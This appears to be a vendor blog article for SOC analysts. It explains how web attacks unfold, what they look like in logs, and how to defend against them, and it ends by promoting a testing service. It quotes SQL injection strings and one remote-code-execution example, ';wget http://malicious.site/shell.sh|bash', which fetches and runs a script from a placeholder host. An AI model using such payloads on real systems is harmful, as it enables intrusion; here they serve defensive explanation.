In today’s digital environment, web applications remain one of the most vulnerable entry points for attackers. Even a single vulnerability on a public-facing web resource can open the gates to the entire corporate infrastructure. For a SOC analyst (Security Operations Center analyst), this is not just a theoretical scenario but a daily reality.
How Web Attacks Work
Web-level attacks often start with:
1. Scanning
At this initial stage, attackers use automated scanners — such as Nmap, Nikto, OpenVAS, or specialized bots — to detect:
- Open ports and services (80, 443, 8080, SSH, FTP) along with their versions.
- Web applications and CMS platforms (WordPress, Joomla, Drupal) with outdated or vulnerable versions.
- Vulnerable API endpoints or web forms (e.g., login.php, upload.php, admin/).
- Known vulnerabilities registered in the CVE (Common Vulnerabilities and Exposures) database, for example, CVE-2024-XXXX for a specific CMS version.
The scanning results create a "map" of possible intrusion points the attacker will try to exploit next.
2. Exploitation
Once vulnerable spots are identified, attackers start directly using exploits:
- SQL Injection (SQLi): The attacker inserts special SQL commands (' OR '1'='1, UNION SELECT) into input fields or URLs, which the server passes directly to the database. This can allow reading, modifying, or deleting data, or even gaining OS-level access through chained exploits.
- Cross-Site Scripting (XSS): Injecting malicious JavaScript into a webpage that executes in the victim’s browser to steal session cookies, redirect users, or perform phishing.
- Server-Side Request Forgery (SSRF): Forcing the web server to make requests inside the network or to arbitrary URLs, helping to attack internal resources.
- Remote Code Execution (RCE): Executing arbitrary code on the server, for example, through file or parameter processing vulnerabilities (like uploading malicious PHP scripts).
3. Post-Exploitation
After successful intrusion, attackers aim to establish persistence and expand control:
- Installing backdoors: Uploading and running hidden scripts (webshells) that provide remote access even if the initial vulnerability is fixed.
- Harvesting credentials: Reading configuration files (e.g., config.php, .env) containing passwords, API keys, and database connection strings.
- Lateral movement: Using stolen credentials to access other systems in the network — internal VPNs, Active Directory, CI/CD pipelines, and DevOps tools.
Example: an attack on a web administration panel may start with scanning for admin.php or /manager/html. Finding an outdated version, the attacker uses RCE or SQLi to gain shell access. Through this access, they gather logins for internal VPN or Active Directory domain accounts, then move deeper into the corporate network.
SOC Analyst: What We See From Inside
From a user’s perspective, an attack might look like a slow-loading site or a 500 error. But in the SOC, reality is very different. Every interaction with the web server leaves a digital trace — in logs, traffic, and behavioral patterns. The SOC analyst’s job is to spot anomalies before it’s too late.
1. Reconnaissance Indicators
The SOC notices suspicious activity even before an actual intrusion attempt:
- Massive HTTP/HTTPS requests from one or several IPs, often from unusual geographic locations (e.g., TOR, VPS providers).
- Requests with unusual user agents (e.g., curl, python-requests, sqlmap).
- Directory scanning (/admin, /wp-login.php, /phpmyadmin, /config.php) — typical of automated bots or early-stage reconnaissance.
Example: An IP address from the Netherlands made 12,000 GET requests overnight to /admin/panel.php. No legitimate user uses that address.
2. Exploitation Attempts
Next come the intrusion attempts:
- SQL injections (' OR '1'='1) often appear in POST request parameters.
- XSS or LFI/RFI attempts to load external scripts or read system files.
- RCE payloads such as ;wget http://malicious.site/shell.sh|bash.
SOC tools like WAF, IDS/IPS, or log aggregators (Zeek, Suricata, Splunk, ELK, Graylog) generate alerts for such activity. The real challenge is distinguishing testing from real attacks.
3. Post-Exploitation Activity
If an attack succeeds, the attacker may drop backdoors, launch reverse shells, or harvest credentials. SOC observes:
- Unusual outbound connections (e.g., from the web server to external IPs on ports 443/8080 that were never seen before).
- DNS queries to new, suspicious domains — often used for command-and-control (C2) communication.
- New processes on the web server (e.g., bash, nc, perl launched unexpectedly).
- Suspicious HTTP traffic targeting URLs like /shell.php or /cmd.jsp.
A classic sign: the web server initiates outgoing traffic, whereas normally it only handles incoming requests.
4. Lateral Movement
Sometimes the SOC detects attempts to move deeper into the network from the web server:
- Requests to internal APIs.
- Connections to Active Directory or internal databases.
- Tunnel establishment (e.g., using ngrok, reverse SSH).
From an external backdoor, the attacker creates a VPN tunnel into the internal network and scans internal segments.
What to Do?
1. Protect the Front Line
- Use a WAF (Web Application Firewall) and restrict admin panel access — via IP filtering, VPN, or two-factor authentication.
- Regularly update web applications, CMS, and dependencies — prioritizing patches for critical vulnerabilities.
- Grant minimal backend access — apply the principle of least privilege everywhere.
2. Monitoring and Logging
- Implement centralized logging from web servers (Apache, NGINX, Node.js, etc.) into a SIEM or systems like ELK/Graylog.
- Configure alerts for key attack indicators: POST request spikes, suspicious HTTP statuses (500, 403), unusual user agents, or geo-IP anomalies.
3. Prepare for the Worst
- Deploy honeypots or honeytokens to detect intrusions early.
- Run attack scenarios — e.g., “An attacker gained shell access. What next? How do they move in the network? Which assets are at risk?”
4. Test Your Defenses in Practice
- Conduct regular vulnerability assessments — automated scans (OWASP ZAP, Nessus) and manual checks help reveal weak spots before attackers do.
- Order external pentests or Red Team exercises — to see your infrastructure through the attacker’s eyes.
- Integrate test results into development and DevSecOps processes — without fixing found issues, protection remains theoretical.
Key takeaway: Don’t assume “no alerts means everything is fine.” The web is the front line — it must be battle-tested.
Final Thoughts
Infrastructure compromise often starts from a simple website whose CMS hasn’t been updated for six months. A SOC analyst must think ahead — see each web attack as a potential entry point into the company’s internal world — and be ready to respond before it becomes a crisis.
But there is one more crucial point: no matter how mature the SOC is, or how advanced the monitoring, analytics, and response tools are — it all remains “on paper” if the company does not test its systems for vulnerabilities. Vulnerability assessments or ethical pentests reveal where your defense truly holds and where it only creates an illusion of security.
Want to see your defenses through a real attacker’s eyes? That’s exactly what testing services exist for — to find the non-obvious, fix the critical, and let you sleep easier.
Stay ahead, stay secure.
Don’t just keep up with trends — be prepared for them!
Test our platform: https://a42.tech/
